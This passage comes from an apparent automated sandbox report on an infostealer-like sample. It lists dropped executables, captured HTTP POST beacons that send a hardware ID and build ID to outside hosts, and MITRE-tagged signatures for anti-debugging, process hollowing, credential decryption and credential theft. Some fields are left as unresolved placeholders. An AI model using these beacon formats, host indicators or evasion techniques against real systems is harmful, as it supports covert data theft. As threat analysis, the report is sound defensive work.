00000000-00000244] "is-AJF1G.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 (stripped to external PDB) UPX compressed 3 sections"- [targetUID: N/A] "is-F524M.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 (stripped to external PDB) UPX compressed 3 sections"- [targetUID: N/A] "011e5dec2e.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: 00000000-00005708] "jC9EsXW.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: 00000000-00004348] "is-NJ75U.tmp" has type "PE32 executable for MS Windows 10.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: 00000000-00007860] "8422f86445.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "e17941587c.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "OsV5BRS.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- [targetUID: N/A] "X5P2hQO.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 (stripped to external PDB) 6 sections"- [targetUID: N/A] "pCwHvbP.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "jC9EsXW.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\11981810101\jC9EsXW.exe]- [targetUID: 00000000-00004348] "jC9EsXW.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: 00000000-00004348] "update.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "4f1fcc1044.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11981900101\4f1fcc1044.exe]- [targetUID: 00000000-00003780] "eNLe4nm.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "b4e5f74688.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11981930101\b4e5f74688.exe]- [targetUID: 00000000-00007116] "6139f62000.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "5GFpJxh.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "_isdecmp.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\is-O2PUE.tmp\_isetup\_isdecmp.dll]- [targetUID: 00000000-00007860] "011e5dec2e.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-09147.tmp\011e5dec2e.tmp]- [targetUID: 00000000-00005708] "jC9EsXW.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-JUMVQ.tmp\jC9EsXW.tmp]- [targetUID: 00000000-00004348] "is-734PS.tmp" has type "PE32 executable for MS Windows 10.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-O2PUE.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00007860]b1:T1b68," "------njlfIH0Xk3AXMc3nwHZTContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------njlfIH0Xk3AXMc3nwHZTContent-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------njlfIH0Xk3AXMc3nwHZT--" "POST / HTTP/1.1 Host: uyu.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----rGYELGd4eFeVsHUSLqsK Cache-Control: no-cache Content-Length: 254" with payload:==> "------rGYELGd4eFeVsHUSLqsKContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------rGYELGd4eFeVsHUSLqsKContent-Disposition: form-data; name="build_id"fd8fdc89d579f3598340c3edcf29a7cc------rGYELGd4eFeVsHUSLqsK--" "POST / HTTP/1.1 Host: uyu.deshsaradin.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----Wa0N8xTCCQmKgpTAqMJy Cache-Control: no-cache Content-Length: 254" with payload:==> "------Wa0N8xTCCQmKgpTAqMJyContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------Wa0N8xTCCQmKgpTAqMJyContent-Disposition: form-data; name="build_id"51f668a2cea2ac24ab653acbae6f6bca------Wa0N8xTCCQmKgpTAqMJy--"b5:T4f5,Spawned process "\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000244.00000000.250409.035C0000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003036.00000000.250189.02BB0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003424.00000000.250126.0015A000.00000002.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004348.00000000.250872.00D59000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00003424.00000000.250126.0015A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"00000000-00000244.00000000.250409.00F81000.00000020.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00000244.00000000.250409.00FCF000.00000002.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"CryptoStream\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"DESCryptoServiceProvider\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"SymmetricAlgorithm\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"TripleDES\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"TripleDESCryptoServiceProvider\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"Aes\"; File: \"eNLe4nm_1_.exe\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00004992.00000001.250692.89340000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Load\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"1e58p2.exe has big resource with name: \"47bM53VZBbQQ.4NMXj.yGJBQ\" size: \"425984\" and abnormal entropy:\"6.498684914748329\"\n QKTi8Lo.exe has big resource with name: \"Zogfgnml\" size: \"268928\" and abnormal entropy:\"7.999297066706088\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003036.00000000.250189.006F2000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003036.00000000.250189.06030000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007860.00000001.251132.0067C000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$30","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$31","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003424-35301-7-00156F40\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003424-35301-10-00156CF0\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000244-36590-3-00FAD97D\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000244-36590-5-00FA86C8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000244-36590-1269-00FA8FB5\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000244-36590-2227-00FA9118","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API HeapSetInformation@KERNEL32.DLL at 00000000-00003424-35301-14-00152BFB\n Found reference to API ShowWindow@USER32.DLL at 00000000-00003424-35301-36-00153BA2\n Found reference to API NtUnmapViewOfSection@NTDLL.DLL at 00000000-00000244-36590-1079-00F88170\n Found reference to API CreateSemaphoreExW@KERNEL32.DLL at 00000000-00000244-36590-1889-00FA7F84\n Found reference to API FlsAlloc@KERNEL32.DLL at 00000000-00000244-36590-2230-00FA7EFD\n Found reference to API GetThreadPreferredUILanguages@KERNEL32.DLL at 00000000-00004348-41129-9-00CBCE58\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00004348-41129-14-00CB710C\n Found reference to API GetLongPathNameW@KERNEL32.DLL at 00000000-00004348-41129-121-00CBD53C\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00004348-41129-253-00CB842C\n Found reference to API SetSearchPathMode@KERNEL32.DLL at 00000000-00004348-41129-5927-00D5711E","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \"BSS\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \"UPX0\" is zero\n Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003780.00000000.250951.26E51000.00000040.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decode string content at runtime (.NET)","description":"Observed function \"FromBase64String\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"QKTi8Lo.exe\")\n file/memory contains long string with (Indicator: \"TripleDESCryptoServiceProvider\"; File: \"QKTi8Lo.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$33","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$34","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$35","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"QKTi8Lo.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"QKTi8Lo.exe\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.TripleDESCryptoServiceProvider\" and TypeReference \".ctor\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"QKTi8Lo.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004992.00000001.250692.89340000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$38","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.82854","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$39","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd\" (Indicator: \"youtube.com\"; File: \"screen_1.png\")\n Found string \"https;//accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle\" (Indicator: \"youtube.com\"; File: \"screen_4.png\")\n Found string \"accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_han...\" (Indicator: \"youtube.com\"; File: \"screen_7.png\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003780.00000000.250951.26E51000.00000040.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameA\" (Source: \"00000000-00000244.00000000.250409.00FCF000.00000002.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp\")\n Found string \"UserName\" (Source: \"00000000-00003780.00000000.250951.26E51000.00000040.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00003780.00000000.250951.26E51000.00000040.mdmp\")\n Found string \"UserName\" (Source: \"00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003780.00000000.250951.26E51000.00000040.mdmp\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"is-NJ75U.tmp\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00000244.00000000.250409.00FCF000.00000002.mdmp\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve local groups information","description":"Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; File: \"00000000-00000244.00000000.250409.00F81000.00000020.mdmp\"), Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; Source: \"00000000-00000244.00000000.250409.00FCF000.00000002.mdmp\")\n Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; Source: \"00000000-00003036.00000000.250189.006F2000.00000002.mdmp\n 00000000-00003036.00000000.250189.06030000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"1e58p2.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003036)\n \"2O1249.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004992)\n \"4f1fcc1044.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003780)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"1e58p2.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003036)\n \"1e58p2.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003036)\n \"1e58p2.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00003036)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\" BoB / BobSoft\"\n \"1e58p2.exe\" was detected as \"Microsoft visual C# v7.0 / Basic 